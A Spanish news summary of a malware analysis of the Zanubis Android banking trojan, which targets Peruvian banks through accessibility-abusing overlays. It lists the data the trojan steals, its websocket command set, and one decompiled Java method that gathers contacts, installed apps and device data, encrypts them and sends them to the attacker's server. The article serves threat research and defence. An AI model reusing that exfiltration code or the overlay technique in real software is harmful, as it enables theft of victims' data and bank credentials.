Fernando Diaz ha realizado una investigación sobre una muestra que se encontró en el Twitter de MHT, la ha bautizado como Zanubis dado que la clave de descifrado es «Zanubis». La investigación trata los IOC, SHA256 y entidades bancarias especificas.
En el momento de escribir este artículo, las muestras no estaban empaquetadas y aún contenían registros de los autores. Es probable que estas muestras aún no sean versiones finales.
El troyano
Este es un troyano bancario basado en superposición que abusa de la accesibilidad, el método de infección es el estándar y almacena una lista de aplicaciones en shared_preferences. Está enfocado en bancos de Latinoamerica, esta muestra se enfoca especialmente, en bancos de Perú.
Al inicio, se llama al método ServerPrimerosPasos() y se recupera la siguiente información:
- Lista de contactos del dispositivo
- Lista de aplicaciones instaladas
- Datos del dispositivo que incluyen:
- fabricante
- modelo
- huella dactilar
- Comprueba la marca del dispositivo y comprueba específicamente los dispositivos Motorola, Samsung y Huawei.
- Ignora las optimizaciones de la batería.
Esta información se formatea y se envía al servidor remoto a través de websockets:
public void ServerPrimerosPasos() {
try {
String contactos = this.funciones.ObtenerContactos();
String apps = this.funciones.ObtenerApps();
String datosTelefono = this.dispositivo.ObtenerDatos();
String cont_res = "{ " + this.funciones.ObtenerIdCliente() + ", \"contactos\" : " + contactos + ", \"apps\" : " + apps + ", \"device_info\" : " + datosTelefono + " }";
this.socket.emit("datos_iniciales_cliente", str_encript(cont_res, this.config.KEY_STR));
} catch (Exception e) {
}
}
Resumen de Información y configuración
Una vez que la muestra se instala en el dispositivo de la víctima, utiliza la URL inicial codificada para publicar datos en un servidor remoto. Después de la primera publicación, las siguientes recibirán cadenas cifradas tanto del troyano como del servidor.
El paquete de vistas contiene todo el código relacionado con Views y WebViews, incluidas las pruebas y vistas personalizadas para solicitar los permisos de accesibilidad, SMS y batería. Los autores han dejado algunos comentarios de registro en la muestra.
La información se envía al servidor remoto a través del método NotificarPost
Las superposiciones funcionan al verificar la lista de paquetes para monitorear desde pref_config_package y luego lo verificará cada vez que se abra una aplicación
Si la aplicación está en la lista de objetivos, se superpondrá un WebView en el dispositivo de la víctima.
La clase llamada Configuración almacena la configuración por defecto de la muestra. La información más importante que se almacena aquí para nosotros es:
- KEY_STR : Se usa para encriptar mensajes como se ve en las capturas de pantalla de ServerPrimerosPasos()
- URL_INICIAL : es la URL de inicio que se usa en onCreate dentro de WebView y habilita el contenido de Javascript
- PREF_LLAVE
- SOCKET_SERVER : Dirección remota para abrir un WebSocket. Este websocket expone los siguientes comandos:
- config_packages: Devuelve la lista de paquetes instalados en el sistema
- desinstalar_app y eliminar_app: elimina la aplicación de destino
- bloquear_telefono: Bloquea la pantalla
- notificacion: Envía una notificación push al usuario. El mensaje se recibe del socket y se descifra
- enviar_sms: Envía un SMS
- permiso_contacto: Solicita el permiso de los contactos
- permiso_sms: Obtener permiso de SMS
- rev_permiso_sms: Restablecer permiso de SMS
- unlock_package: permitir que se desinstale el paquete de destino
En la publicación se muestran algunos fragmentos de código relacionados con los comandos anteriores, descifrado, el gráfico de VT, IOCs, lectura más que recomendada, la investigación Troyano bancario Zanubis.
Fuente:https://unaaldia.hispasec.com/2022/09/investigacion-troyano-bancario-zanubis-latam.html